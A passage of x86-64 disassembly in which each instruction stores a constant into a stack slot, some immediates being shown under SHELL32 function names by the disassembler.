movabs rax, 0x74e293fd080d63
mov qword [rsp + 0xb0d8], rax
mov dword [rsp + 0x62dc], 0x3f42
movabs rax, 0x7c3e7b2d749c81
mov qword [rsp + 0xb0e0], rax
movabs rax, 0x7ef98b0f133c01
mov qword [rsp + 0xb0e8], rax
mov dword [rsp + 0x62e0], 0x1d0a
mov eax, PathMakeUniqueName
mov word [rsp + 0x1c40], ax
movabs rax, 0x7ad5bde1ffb4b5
mov qword [rsp + 0xb0f0], rax
mov dword [rsp + 0x62e4], 0x394b82b9
mov eax, 0xa5
mov word [rsp + 0x1c44], ax
mov eax, 0xd6
mov word [rsp + 0x1c48], ax
movabs rax, 0x7b8a9b00ce989a
mov qword [rsp + 0xb0f8], rax
mov dword [rsp + 0x62e8], 0x66b3608a
mov byte [rsp + 0x2d9], 0x7b
mov eax, 0x7e5
mov word [rsp + 0x1c4c], ax
mov eax, 0x3bf
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x62ec], 0xdfea
mov dword [rsp + 0x62f0], 0x6303
mov eax, 0x269
mov word [rsp + 0x1c54], ax
movabs rax, 0x7061714462e206
mov qword [rsp + 0xb100], rax
mov dword [rsp + 0x62f4], 0x75fb2aed
mov dword [rsp + 0x62f8], 0xc828
movabs rax, 0x741cbdd2e6dc81
mov qword [rsp + 0xb108], rax
movabs rax, 0x784a304476574d
mov qword [rsp + 0xb110], rax
movabs rax, 0x71c07d87dfa8eb
mov qword [rsp + 0xb118], rax
mov byte [rsp + 0x2da], 0x1c
movabs rax, 0x767459df885675
mov qword [rsp + 0xb120], rax
mov byte [rsp + 0x2db], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x62fc], 0x3d16
mov eax, 0x711
mov word [rsp + 0x1c58], ax
mov byte [rsp + 0x2dc], ILIsParent
movabs rax, 0x71e10c5f05fcb3
mov qword [rsp + 0xb128], rax
mov dword [rsp + 0x6300], 0xae2e
movabs rax, 0x7b282fd1c3f33d
mov qword [rsp + 0xb130], rax
mov eax, 0x5bc
mov word [rsp + 0x1c5c], ax
mov byte [rsp + 0x2dd], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x2de], 0x3e
movabs rax, 0x7dba28e08bebe4
mov qword [rsp + 0xb138], rax
mov byte [rsp + 0x2df], PathMakeUniqueName
movabs rax, 0x718b1910b714ff
mov qword [rsp + 0xb140], rax
movabs rax, 0x7dd3bb4f2d798f
mov qword [rsp + 0xb148], rax
movabs rax, 0x72e70a2dbe9e34
mov qword [rsp + 0xb150], rax
movabs rax, 0x727d2c0cfafe8f
mov qword [rsp + 0xb158], rax
movabs rax, 0x7c01f7668fa1ef
mov qword [rsp + 0xb160], rax
mov eax, 0x5b0
mov word [rsp + 0x1c60], ax
mov dword [rsp + 0x6304], 0xc118
mov eax, 0x7c6
mov word [rsp + 0x1c64], ax
mov dword [rsp + 0x6308], 0x70715ed5
mov eax, 0x4fe
mov word [rsp + 0x1c68], ax
mov eax, 0x9d
mov word [rsp + 0x1c6c], ax
mov eax, 0x44
mov word [rsp + 0x1c70], ax
mov eax, 0x9f5
mov word [rsp + 0x1c74], ax
mov eax, 0x59f
mov word [rsp + 0x1c78], ax
mov dword [rsp + 0x630c], 0x84a0
movabs rax, 0x78a3016ae8ac99
mov qword [rsp + 0xb168], rax
movabs rax, 0x74023ebf4dd51e
mov qword [rsp + 0xb170], rax
mov dword [rsp + 0x6310], 0xb035
movabs rax, 0x79f6d90bf5e43b
mov qword [rsp + 0xb178], rax
mov dword [rsp + 0x6314], 0x29ec3191
mov eax, 0x54c
mov word [rsp + 0x1c7c], ax
movabs rax, 0x779aa5cb22d88c
mov qword [rsp + 0xb180], rax
mov eax, 0x425
mov word [rsp + 0x1c80], ax
mov eax, 0x3d0
mov word [rsp + 0x1c84], ax
mov eax, 0x661
mov word [rsp + 0x1c88], ax
mov eax, 0x57a
mov word [rsp + 0x1c8c], ax
movabs rax, 0x7d2b8c467bd804
mov qword [rsp + 0xb188], rax
mov byte [rsp + 0x2e0], 0x25
movabs rax, 0x72b5949598de74
mov qword [rsp + 0xb190], rax
mov dword [rsp + 0x6318], 0xb8c6
movabs rax, 0x77ba081a4ddd29
mov qword [rsp + 0xb198], rax
movabs rax, 0x71f37fa85e18e5
mov qword [rsp + 0xb1a0], rax
mov eax, 0x2c3
mov word [rsp + 0x1c90], ax
mov dword [rsp + 0x631c], 0x7d72
mov dword [rsp + 0x6320], 0x4a3f3e6c
mov byte [rsp + 0x2e1], 0x50
mov dword [rsp + 0x6324], 0xab33
mov dword [rsp + 0x6328], 0x5ede
mov dword [rsp + 0x632c], 0xd546
mov eax, 0x7df
mov word [rsp + 0x1c94], ax
movabs rax, 0x70286d0b8bb7b4
mov qword [rsp + 0xb1a8], rax
mov eax, 0x75b
mov word [rsp + 0x1c98], ax
mov dword [rsp + 0x6330], 0x8a2c
movabs rax, 0x75bcc2f4d3fd50
mov qword [rsp + 0xb1b0], rax
movabs rax, 0x7dd39710b386f9
mov qword [rsp + 0xb1b8], rax
movabs rax, 0x7b05cb4900edc2
mov qword [rsp + 0xb1c0], rax
mov dword [rsp + 0x6334], 0xd1b6
mov eax, 0xea6
mov word [rsp + 0x1c9c], ax
mov dword [rsp + 0x6338], 0xbe3c
mov byte [rsp + 0x2e2], 0x64
mov eax, 0x51e
mov word [rsp + 0x1ca0], ax
movabs rax, 0x786f7e88ed921f
mov qword [rsp + 0xb1c8], rax
mov eax, 0x259
mov word [rsp + 0x1ca4], ax
movabs rax, 0x7dfb37b9ca6c38
mov qword [rsp + 0xb1d0], rax
mov byte [rsp + 0x2e3], PathYetAnotherMakeUniqueName
mov eax, 0xd37
mov word [rsp + 0x1ca8], ax
mov dword [rsp + 0x633c], 0x6aa61a0d
mov byte [rsp + 0x2e4], PathMakeUniqueName
mov eax, 0x2a
mov word [rsp + 0x1cac], ax
mov eax, 0xb4f
mov word [rsp + 0x1cb0], ax
mov eax, 0x6c1
mov word [rsp + 0x1cb4], ax
movabs rax, 0x7c44ee0fd6949a
mov qword [rsp + 0xb1d8], rax
mov eax, 0x6a5
mov word [rsp + 0x1cb8], ax
mov byte [rsp + 0x2e5], PathMakeUniqueName
mov byte [rsp + 0x2e6], 3
mov byte [rsp + 0x2e7], 0x1f
mov byte [rsp + 0x2e8], 0x60
movabs rax, 0x7e88ace3107178
mov qword [rsp + 0xb1e0], rax
movabs rax, 0x76f23c9c9b5c3b
mov qword [rsp + 0xb1e8], rax
mov byte [rsp + 0x2e9], SHDoDragDrop
movabs rax, 0x74f1f6cc1d51fe
mov qword [rsp + 0xb1f0], rax
mov eax, 0xdc3
mov word [rsp + 0x1cbc], ax
mov dword [rsp + 0x6340], 0x434b
mov dword [rsp + 0x6344], 0x97ba
mov eax, 0xbe9
mov word [rsp + 0x1cc0], ax
movabs rax, 0x75cbfb5e6d5be8
mov qword [rsp + 0xb1f8], rax
movabs rax, 0x757dca58283f37
mov qword [rsp + 0xb200], rax
mov dword [rsp + 0x6348], 0x3793de66
movabs rax, 0x75eb4833759b1f
mov qword [rsp + 0xb208], rax
movabs rax, 0x7d70e901db0ee7
mov qword [rsp + 0xb210], rax
movabs rax, 0x7a734cf9a7faec
mov qword [rsp + 0xb218], rax
mov dword [rsp + 0x634c], 0x18a8
movabs rax, 0x72905c0ff266f8
mov qword [rsp + 0xb220], rax
movabs rax, 0x79e5d673388588
mov qword [rsp + 0xb228], rax
mov dword [rsp + 0x6350], 0x681a
movabs rax, 0x7b7073eba9117a
mov qword [rsp + 0xb230], rax
mov byte [rsp + 0x2ea], 0x75
mov eax, reloc.SHELL32.dll_ILSaveToStream
mov word [rsp + 0x1cc4], ax
movabs rax, 0x7edf5dbfc5a164
mov qword [rsp + 0xb238], rax
mov dword [rsp + 0x6354], 0xa64b
movabs rax, 0x701226218f9df0
mov qword [rsp + 0xb240], rax
movabs rax, 0x79b1717b8d8e4c
mov qword [rsp + 0xb248], rax
mov eax, 0x80
mov word [rsp + 0x1cc8], ax
mov eax, 0x9d5
mov word [rsp + 0x1ccc], ax
mov eax, 0x255
mov word [rsp + 0x1cd0], ax
mov byte [rsp + 0x2eb], 0x4c
movabs rax, 0x7d1073be1e3c23
mov qword [rsp + 0xb250], rax
mov eax, 0x76e
mov word [rsp + 0x1cd4], ax
mov dword [rsp + 0x6358], 0x712baf9d
mov eax, 0x46d
mov word [rsp + 0x1cd8], ax
movabs rax, 0x75d7dc899665a8
mov qword [rsp + 0xb258], rax
mov eax, 0x13e
mov word [rsp + 0x1cdc], ax
mov byte [rsp + 0x2ec], ILGetSize
movabs rax, 0x7a9876c79af28c
mov qword [rsp + 0xb260], rax
movabs rax, 0x7910412dedc7dc
mov qword [rsp + 0xb268], rax
mov eax, 0xc0a
mov word [rsp + 0x1ce0], ax
mov dword [rsp + 0x635c], 0x3928
mov eax, 0x7c9
mov word [rsp + 0x1ce4], ax
mov byte [rsp + 0x2ed], 0x42
movabs rax, 0x7ca3d539b820ac
mov qword [rsp + 0xb270], rax
movabs rax, 0x774b898dbcdab5
mov qword [rsp + 0xb278], rax
movabs rax, 0x793375f9167e81
mov qword [rsp + 0xb280], rax
mov dword [rsp + 0x6360], 0xd177
movabs rax, 0x7c1c2b73cbaf26
mov qword [rsp + 0xb288], rax
mov eax, 0x8a0
mov word [rsp + 0x1ce8], ax
movabs rax, 0x7d97875567eeac
mov qword [rsp + 0xb290], rax
movabs rax, 0x761cdd6fd6c110
mov qword [rsp + 0xb298], rax
mov byte [rsp + 0x2ee], 0x38
mov eax, 0x1fa
mov word [rsp + 0x1cec], ax
mov eax, 0x119
mov word [rsp + 0x1cf0], ax
mov dword [rsp + 0x6364], 0x4ea3b2d1
mov eax, 0x596
mov word [rsp + 0x1cf4], ax
mov byte [rsp + 0x2ef], 0x4e
mov dword [rsp + 0x6368], 0xf837
mov dword [rsp + 0x636c], 0x85be
mov dword [rsp + 0x6370], 0x5a97f287
movabs rax, 0x7b60f86c0e5c13
mov qword [rsp + 0xb2a0], rax
mov byte [rsp + 0x2f0], 0xa7
mov eax, 0x342
mov word [rsp + 0x1cf8], ax
movabs rax, 0x7cb37703eb7b1d
mov qword [rsp + 0xb2a8], rax
mov eax, 0x338
mov word [rsp + 0x1cfc], ax
mov eax, 0x4b2
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x6374], 0xa3b6
movabs rax, 0x75e13e8ecdb84d
mov qword [rsp + 0xb2b0], rax
mov eax, 0x30d
mov word [rsp + 0x1d04], ax
movabs rax, 0x7865be05d7fcac
mov qword [rsp + 0xb2b8], rax
movabs rax, 0x7134a5d278689a
mov qword [rsp + 0xb2c0], rax
movabs rax, 0x77c98d83b5d8be
mov qword [rsp + 0xb2c8], rax
movabs rax, 0x7ec3ac7e060f32
mov qword [rsp + 0xb2d0], rax
movabs rax, 0x75af92712e1c61
mov qword [rsp + 0xb2d8], rax
mov eax, 0x75b
mov word [rsp + 0x1d08], ax
mov eax, 0x6cf
mov word [rsp + 0x1d0c], ax
mov dword [rsp + 0x6378], 0x6f503454
movabs rax, 0x773b1afa478c58
mov qword [rsp + 0xb2e0], rax
movabs rax, 0x70d3259a40a7e7
mov qword [rsp + 0xb2e8], rax
mov eax, 0x337
mov word [rsp + 0x1d10], ax
movabs rax, 0x7eb8fa00e3dfcd
mov qword [rsp + 0xb2f0], rax
mov eax, 0x5dd
mov word [rsp + 0x1d14], ax
movabs rax, 0x7d8e40f6fa3566
mov qword [rsp + 0xb2f8], rax
mov dword [rsp + 0x637c], 0x8543
movabs rax, 0x7928f71374712d
mov qword [rsp + 0xb300], rax
mov eax, 0x348
mov word [rsp + 0x1d18], ax
movabs rax, 0x772471b9d4657a
mov qword [rsp + 0xb308], rax
movabs rax, 0x7cbe5a0ce99ecb
mov qword [rsp + 0xb310], rax
mov eax, 0x390
mov word [rsp + 0x1d1c], ax
mov eax, 0x6af
mov word [rsp + 0x1d20], ax
movabs rax, 0x786050bae8bc8f
mov qword [rsp + 0xb318], rax
movabs rax, 0x7bb87bc4adb8ae
mov qword [rsp + 0xb320], rax
mov dword [rsp + 0x6380], 0x9dd8
movabs rax, 0x7425236d0909bf
mov qword [rsp + 0xb328], rax
mov eax, 0xf20
mov word [rsp + 0x1d24], ax
mov byte [rsp + 0x2f1], 0x79
mov byte [rsp + 0x2f2], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x81c
mov word [rsp + 0x1d28], ax
mov eax, 0x4fa
mov word [rsp + 0x1d2c], ax
mov dword [rsp + 0x6384], 0x7ecb3f3e
mov dword [rsp + 0x6388], 0x7ccd
movabs rax, 0x79136bab7c1cf5
mov qword [rsp + 0xb330], rax
movabs rax, 0x7ca5592acd30ea
mov qword [rsp + 0xb338], rax
movabs rax, 0x70664f0d552d92
mov qword [rsp + 0xb340], rax
movabs rax, 0x75c707f08be2b4
mov qword [rsp + 0xb348], rax
mov dword [rsp + 0x638c], 0x3d3d1fc5
mov dword [rsp + 0x6390], 0x6ee6
mov eax, 0x675
mov word [rsp + 0x1d30], ax
mov byte [rsp + 0x2f3], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0x92c
mov word [rsp + 0x1d34], ax
movabs rax, 0x7c2a58b1bff6fc
mov qword [rsp + 0xb350], rax
movabs rax, 0x71a8f35e1469c5
mov qword [rsp + 0xb358], rax
mov eax, 0x290
mov word [rsp + 0x1d38], ax
mov dword [rsp + 0x6394], 0xf4e
mov byte [rsp + 0x2f4], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0x2f5], 0x36
movabs rax, 0x7830bf6f185a7e
mov qword [rsp + 0xb360], rax
mov eax, 0x32f
mov word [rsp + 0x1d3c], ax
mov byte [rsp + 0x2f6], ILIsParent
mov dword [rsp + 0x6398], 0x316dd2b0
movabs rax, 0x733aadca160238
mov qword [rsp + 0xb368], rax
mov eax, 0x2d9
mov word [rsp + 0x1d40], ax
movabs rax, 0x7789b159817e21
mov qword [rsp + 0xb370], rax
movabs rax, 0x7b6a2a7af20662
mov qword [rsp + 0xb378], rax
mov dword [rsp + 0x639c], 0x13359d7e
movabs rax, 0x76838db453935a
mov qword [rsp + 0xb380], rax
mov byte [rsp + 0x2f7], reloc.SHELL32.dll_ILCombine
movabs rax, 0x7e513c6845d3e4
mov qword [rsp + 0xb388], rax
mov dword [rsp + 0x63a0], 0x3e017c07
mov eax, 0x6d1
mov word [rsp + 0x1d44], ax
mov eax, 0x34f
mov word [rsp + 0x1d48], ax
mov eax, 0x652
mov word [rsp + 0x1d4c], ax
mov eax, 0x3c1
mov word [rsp + 0x1d50], ax
mov eax, 0x445
mov word [rsp + 0x1d54], ax
mov eax, 0x4c
mov word [rsp + 0x1d58], ax
mov eax, 0x159
mov word [rsp + 0x1d5c], ax
mov eax, 0xae4
mov word [rsp + 0x1d60], ax
mov eax, 0x213
mov word [rsp + 0x1d64], ax
movabs rax, 0x74c81940198997
mov qword [rsp + 0xb390], rax
movabs rax, 0x790d2eb5f63fc8
mov qword [rsp + 0xb398], rax
mov byte [rsp + 0x2f8], 0x83
movabs rax, 0x73fbf25b33176c
mov qword [rsp + 0xb3a0], rax
movabs rax, 0x74aa4f7768e3aa
mov qword [rsp + 0xb3a8], rax
movabs rax, 0x7854a784fdfd4b
mov qword [rsp + 0xb3b0], rax
mov eax, 0xfe0
mov word [rsp + 0x1d68], ax
mov eax, 0x4d5
mov word [rsp + 0x1d6c], ax
movabs rax, 0x79909c918a1608
mov qword [rsp + 0xb3b8], rax
mov dword [rsp + 0x63a4], 0xc9a7
mov eax, 0x8ab
mov word [rsp + 0x1d70], ax
movabs rax, 0x7b6e32495f433b
mov qword [rsp + 0xb3c0], rax
movabs rax, 0x77ea5de4157ea9
mov qword [rsp + 0xb3c8], rax
movabs rax, 0x71fe422c036a22
mov qword [rsp + 0xb3d0], rax
mov eax, 0x78a
mov word [rsp + 0x1d74], ax
movabs rax, 0x7b1732e9de8192
mov qword [rsp + 0xb3d8], rax
mov eax, 0x1f4
mov word [rsp + 0x1d78], ax
mov eax, 0x30e
mov word [rsp + 0x1d7c], ax
mov dword [rsp + 0x63a8], 0x5bc55dc
mov eax, 0x384
mov word [rsp + 0x1d80], ax
movabs rax, 0x7996f8504b7f84
mov qword [rsp + 0xb3e0], rax
mov eax, 0x10a
mov word [rsp + 0x1d84], ax
movabs rax, 0x71d41869c0b950
mov qword [rsp + 0xb3e8], rax
movabs rax, 0x7e1d271af0e4bc
mov qword [rsp + 0xb3f0], rax
mov eax, 0x5b0
mov word [rsp + 0x1d88], ax
mov byte [rsp + 0x2f9], 0x3f
mov byte [rsp + 0x2fa], 0x39
mov eax, 0x105
mov word [rsp + 0x1d8c], ax
mov eax, 0xf9
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x63ac], 0xd637
movabs rax, 0x70d08bbca71ccd
mov qword [rsp + 0xb3f8], rax
mov byte [rsp + 0x2fb], 0x7e
mov byte [rsp + 0x2fc], reloc.SHELL32.dll_ILSaveToStream
mov eax, 7
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x63b0], 0xfb40a10
movabs rax, 0x726879e019b1e7
mov qword [rsp + 0xb400], rax
mov eax, 0x3f3
mov word [rsp + 0x1d98], ax
mov eax, 0x7a4
mov word [rsp + 0x1d9c], ax
movabs rax, 0x77615eb4110baf
mov qword [rsp + 0xb408], rax
mov dword [rsp + 0x63b4], 0x11a08e6b
movabs rax, 0x74a3fd62b2c19c
mov qword [rsp + 0xb410], rax
movabs rax, 0x759015e5d3f463
mov qword [rsp + 0xb418], rax
movabs rax, 0x72bf1cdaa4e116
mov qword [rsp + 0xb420], rax
movabs rax, 0x74ce2e1584bf1c
mov qword [rsp + 0xb428], rax
movabs rax, 0x70ad7a49de465a
mov qword [rsp + 0xb430], rax
mov dword [rsp + 0x63b8], 0x6ad0
mov eax, 0x261
mov word [rsp + 0x1da0], ax
mov eax, 0xe7d
mov word [rsp + 0x1da4], ax
mov dword [rsp + 0x63bc], 0x41d5
movabs rax, 0x73e6ad8afb7ee8
mov qword [rsp + 0xb438], rax
movabs rax, 0x7392ee4b183ddf
mov qword [rsp + 0xb440], rax
mov eax, 0xe2e
mov word [rsp + 0x1da8], ax
mov eax, 0x93c
mov word [rsp + 0x1dac], ax
mov eax, 0x32a
mov word [rsp + 0x1db0], ax
mov byte [rsp + 0x2fd], 0x20
mov dword [rsp + 0x63c0], 0x40f346f7
movabs rax, 0x7da09e7a9582b2
mov qword [rsp + 0xb448], rax
mov byte [rsp + 0x2fe], 0x30
mov dword [rsp + 0x63c4], 0x88bf85
mov eax, 0x71d
mov word [rsp + 0x1db4], ax
mov byte [rsp + 0x2ff], PathMakeUniqueName
mov eax, 0x1ca
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x63c8], 0xb8a2ec0
mov eax, 0xc47
mov word [rsp + 0x1dbc], ax
mov byte [rsp + 0x300], 0xe8
mov eax, 0xc0f
mov word [rsp + 0x1dc0], ax
mov eax, 0x7e9
mov word [rsp + 0x1dc4], ax
movabs rax, 0x7b9864ee95269c
mov qword [rsp + 0xb450], rax
mov dword [rsp + 0x63cc], 0x5c2c7731
mov eax, 0xbb4
mov word [rsp + 0x1dc8], ax
mov dword [rsp + 0x63d0], 0x2d30b62
mov eax, 0xdb9
mov word [rsp + 0x1dcc], ax
mov dword [rsp + 0x63d4], 0x21439cec
movabs rax, 0x7b192ea1052a12
mov qword [rsp + 0xb458], rax
mov dword [rsp + 0x63d8], 0x4de45059
mov eax, 0xc3a
mov word [rsp + 0x1dd0], ax
mov dword [rsp + 0x63dc], 0x2977878f
movabs rax, 0x7399c11841f393
mov qword [rsp + 0xb460], rax
mov dword [rsp + 0x63e0], 0xfda6
movabs rax, 0x719af3267cdcb6
mov qword [rsp + 0xb468], rax
mov byte [rsp + 0x301], SHDoDragDrop
mov eax, 0x364
mov word [rsp + 0x1dd4], ax
movabs rax, 0x749fae6c77571a
mov qword [rsp + 0xb470], rax
mov dword [rsp + 0x63e4], 0x5566
movabs rax, 0x7ef246339d90eb
mov qword [rsp + 0xb478], rax
mov eax, 0x917
mov word [rsp + 0x1dd8], ax
movabs rax, 0x7b031616974b27
mov qword [rsp + 0xb480], rax
movabs rax, 0x7326005cfb1672
mov qword [rsp + 0xb488], rax
mov eax, 0x66c
mov word [rsp + 0x1ddc], ax
mov byte [rsp + 0x302], 0x20
movabs rax, 0x730a763f402780
mov qword [rsp + 0xb490], rax
movabs rax, 0x78750a6d410aed
mov qword [rsp + 0xb498], rax
mov dword [rsp + 0x63e8], 0x7633c0dc
movabs rax, 0x79bf1148e39db4
mov qword [rsp + 0xb4a0], rax
mov byte [rsp + 0x303], 0xd1
mov dword [rsp + 0x63ec], 0xa822
movabs rax, 0x7c26f93e8fdafc
mov qword [rsp + 0xb4a8], rax
movabs rax, 0x786ca457cd9144
mov qword [rsp + 0xb4b0], rax
mov dword [rsp + 0x63f0], 0x3dcb79d1
movabs rax, 0x7095f025c136a8
mov qword [rsp + 0xb4b8], rax
movabs rax, 0x7e271065301f00
mov qword [rsp + 0xb4c0], rax
mov dword [rsp + 0x63f4], 0xf188
mov dword [rsp + 0x63f8], 0xc971
mov dword [rsp + 0x63fc], 0x2265
movabs rax, 0x70163a064ada9d
mov qword [rsp + 0xb4c8], rax
mov eax, 0xe38
mov word [rsp + 0x1de0], ax
movabs rax, 0x79641db0dfd0de
mov qword [rsp + 0xb4d0], rax
movabs rax, 0x7c2630dd5dcdbf
mov qword [rsp + 0xb4d8], rax
movabs rax, 0x7267c12e2dada0
mov qword [rsp + 0xb4e0], rax
mov byte [rsp + 0x304], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x305], 0xf7
mov eax, 0xd51
mov word [rsp + 0x1de4], ax
mov byte [rsp + 0x306], 9
mov dword [rsp + 0x6400], 0x1aa06cf6
mov dword [rsp + 0x6404], 0xc9e0
mov dword [rsp + 0x6408], 0x6d53e60c
mov byte [rsp + 0x307], 0x39
mov byte [rsp + 0x308], 0x37
movabs rax, 0x74e8d0c7b73582
mov qword [rsp + 0xb4e8], rax
mov dword [rsp + 0x640c], 0x1fd04794
movabs rax, 0x79dacf15787cd3
mov qword [rsp + 0xb4f0], rax
mov byte [rsp + 0x309], 0x31
mov dword [rsp + 0x6410], 0x44b9407f
mov dword [rsp + 0x6414], 0x3295e928
mov eax, 0x2f0
mov word [rsp + 0x1de8], ax
mov dword [rsp + 0x6418], 0x627d2ab5
mov dword [rsp + 0x641c], 0x68f429b2
mov dword [rsp + 0x6420], 0xde23
mov byte [rsp + 0x30a], 0x6a
mov dword [rsp + 0x6424], 0x4b9d
movabs rax, 0x73a1db475d597a
mov qword [rsp + 0xb4f8], rax
mov byte [rsp + 0x30b], 0xf6
movabs rax, 0x7df234c0c06e3a
mov qword [rsp + 0xb500], rax
movabs rax, 0x789b7e614a962b
mov qword [rsp + 0xb508], rax
mov byte [rsp + 0x30c], 0x71
mov dword [rsp + 0x6428], 0xd18d
movabs rax, 0x7490108c3f9161
mov qword [rsp + 0xb510], rax
mov eax, 0x635
mov word [rsp + 0x1dec], ax
mov eax, 0x232
mov word [rsp + 0x1df0], ax
movabs rax, 0x70d720d064063c
mov qword [rsp + 0xb518], rax
movabs rax, 0x7ebfe78a8f7d10
mov qword [rsp + 0xb520], rax
movabs rax, 0x76c2e75b889140
mov qword [rsp + 0xb528], rax
mov eax, 0xa15
mov word [rsp + 0x1df4], ax
mov byte [rsp + 0x30d], SHTestTokenMembership
movabs rax, 0x7541c46838799d
mov qword [rsp + 0xb530], rax
movabs rax, 0x78c29cdfe35a7c
mov qword [rsp + 0xb538], rax
mov dword [rsp + 0x642c], 0x23f5
movabs rax, 0x77d2354127ed89
mov qword [rsp + 0xb540], rax
mov eax, 0x347
mov word [rsp + 0x1df8], ax
mov eax, 0x7f4
mov word [rsp + 0x1dfc], ax
mov eax, 0x764
mov word [rsp + 0x1e00], ax
mov eax, 0x605
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x6430], 0x3cfbd6fe
mov eax, 0x6f6
mov word [rsp + 0x1e08], ax
mov byte [rsp + 0x30e], 0x5a
mov dword [rsp + 0x6434], 0xfbb9
movabs rax, 0x77e16d804828b5
mov qword [rsp + 0xb548], rax
mov byte [rsp + 0x30f], 0x60
mov byte [rsp + 0x310], 9
mov eax, 0x17d
mov word [rsp + 0x1e0c], ax
mov eax, 0x60d
mov word [rsp + 0x1e10], ax
mov eax, 0x2e9
mov word [rsp + 0x1e14], ax
mov dword [rsp + 0x6438], 0x3dc
movabs rax, 0x739acdf6c99298
mov qword [rsp + 0xb550], rax
mov eax, 0x477
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x311], PathYetAnotherMakeUniqueName
mov eax, 0x7c7
mov word [rsp + 0x1e1c], ax
mov eax, 0xfdb
mov word [rsp + 0x1e20], ax
mov byte [rsp + 0x312], PathMakeUniqueName
mov dword [rsp + 0x643c], 0xb78b
mov eax, 0xe0f
mov word [rsp + 0x1e24], ax
mov eax, 0x211
mov word [rsp + 0x1e28], ax
mov eax, 0x468
mov word [rsp + 0x1e2c], ax
mov dword [rsp + 0x6440], 0x8c78
mov byte [rsp + 0x313], 0x5d
mov dword [rsp + 0x6444], 0x5b95
mov byte [rsp + 0x314], 0x3b
mov dword [rsp + 0x6448], 0x174e6ea4
movabs rax, 0x7084af80067974
mov qword [rsp + 0xb558], rax
mov dword [rsp + 0x644c], 0x2f09282c
mov eax, 0x4e9
mov word [rsp + 0x1e30], ax
movabs rax, 0x7d66435448580d
mov qword [rsp + 0xb560], rax
mov eax, 0x975
mov word [rsp + 0x1e34], ax
mov dword [rsp + 0x6450], 0x798c4eff
mov byte [rsp + 0x315], 2
movabs rax, 0x711935cde9a65b
mov qword [rsp + 0xb568], rax
movabs rax, 0x72d2bbd89fd22f
mov qword [rsp + 0xb570], rax
mov eax, 0x88
mov word [rsp + 0x1e38], ax
mov eax, 0x22b
mov word [rsp + 0x1e3c], ax
mov dword [rsp + 0x6454], 0x421e
mov eax, 0x90
mov word [rsp + 0x1e40], ax
mov eax, 0x5f2
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x6458], 0x50e257a1
mov eax, 0xc52
mov word [rsp + 0x1e48], ax
mov byte [rsp + 0x316], 6
movabs rax, 0x757e56aa135661
mov qword [rsp + 0xb578], rax
mov dword [rsp + 0x645c], 0x160a
mov eax, 0x3b
mov word [rsp + 0x1e4c], ax
mov dword [rsp + 0x6460], 0x9d27
movabs rax, 0x748087f10b30f6
mov qword [rsp + 0xb580], rax
mov eax, 0x3ee
mov word [rsp + 0x1e50], ax
movabs rax, 0x7eea61f08acb4d
mov qword [rsp + 0xb588], rax
movabs rax, 0x789e0a5c4ca7a3
mov qword [rsp + 0xb590], rax
mov eax, 0x2be
mov word [rsp + 0x1e54], ax
mov byte [rsp + 0x317], 0x6c
movabs rax, 0x745f73b979ca6d
mov qword [rsp + 0xb598], rax
mov byte [rsp + 0x318], 0xc7
movabs rax, 0x7010f66c08f4b4
mov qword [rsp + 0xb5a0], rax
mov dword [rsp + 0x6464], 0xffb5
movabs rax, 0x75420b5adc8b8d
mov qword [rsp + 0xb5a8], rax
mov byte [rsp + 0x319], 0x21
mov byte [rsp + 0x31a], 0x26
mov eax, 0xffa
mov word [rsp + 0x1e58], ax
mov byte [rsp + 0x31b], 0x7c
mov byte [rsp + 0x31c], 0x20
mov eax, 0x241
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x6468], 0x1cc2c49c
mov dword [rsp + 0x646c], 0x1a719229
mov dword [rsp + 0x6470], 0x7c4f5bce
movabs rax, 0x760daa82d3eea7
mov qword [rsp + 0xb5b0], rax
movabs rax, 0x74ee08382f2a1e
mov qword [rsp + 0xb5b8], rax
movabs rax, 0x7b9bb4f4b8180d
mov qword [rsp + 0xb5c0], rax
movabs rax, 0x7d9c77d8965fc0
mov qword [rsp + 0xb5c8], rax
mov eax, SHGetImageList
mov word [rsp + 0x1e60], ax
movabs rax, 0x78b797d3030947
mov qword [rsp + 0xb5d0], rax
mov byte [rsp + 0x31d], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x31e], 0x4f
mov dword [rsp + 0x6474], 0xe235
mov dword [rsp + 0x6478], 0x1bce0504
mov eax, 0x2ed
mov word [rsp + 0x1e64], ax
mov eax, 0x49a
mov word [rsp + 0x1e68], ax
mov eax, 0x59b
mov word [rsp + 0x1e6c], ax
mov byte [rsp + 0x31f], 0x43
mov dword [rsp + 0x647c], 0x5b4fe161
mov byte [rsp + 0x320], 0xd0
movabs rax, 0x7ce3b6ebfadc15
mov qword [rsp + 0xb5d8], rax
mov dword [rsp + 0x6480], 0x1f6b
mov eax, 0x2a4
mov word [rsp + 0x1e70], ax
movabs rax, 0x7db173a5c0de91
mov qword [rsp + 0xb5e0], rax
mov eax, 0x18d
mov word [rsp + 0x1e74], ax
movabs rax, 0x7727340cdb6f59
mov qword [rsp + 0xb5e8], rax
mov byte [rsp + 0x321], 0xf7
mov dword [rsp + 0x6484], 0x1d03d54b
mov byte [rsp + 0x322], SHDoDragDrop
mov dword [rsp + 0x6488], 0x8507
mov dword [rsp + 0x648c], 0x2684
movabs rax, 0x7b2b03020078cb
mov qword [rsp + 0xb5f0], rax
mov dword [rsp + 0x6490], 0x1ec7
mov byte [rsp + 0x323], 0x61
mov eax, 0x4b2
mov word [rsp + 0x1e78], ax
mov byte [rsp + 0x324], 0x75
mov eax, 0x67b
mov word [rsp + 0x1e7c], ax
mov eax, 0x364
mov word [rsp + 0x1e80], ax
movabs rax, 0x7db525159fa37e
mov qword [rsp + 0xb5f8], rax
movabs rax, 0x76d73db6ff6359
mov qword [rsp + 0xb600], rax
mov byte [rsp + 0x325], 0x34
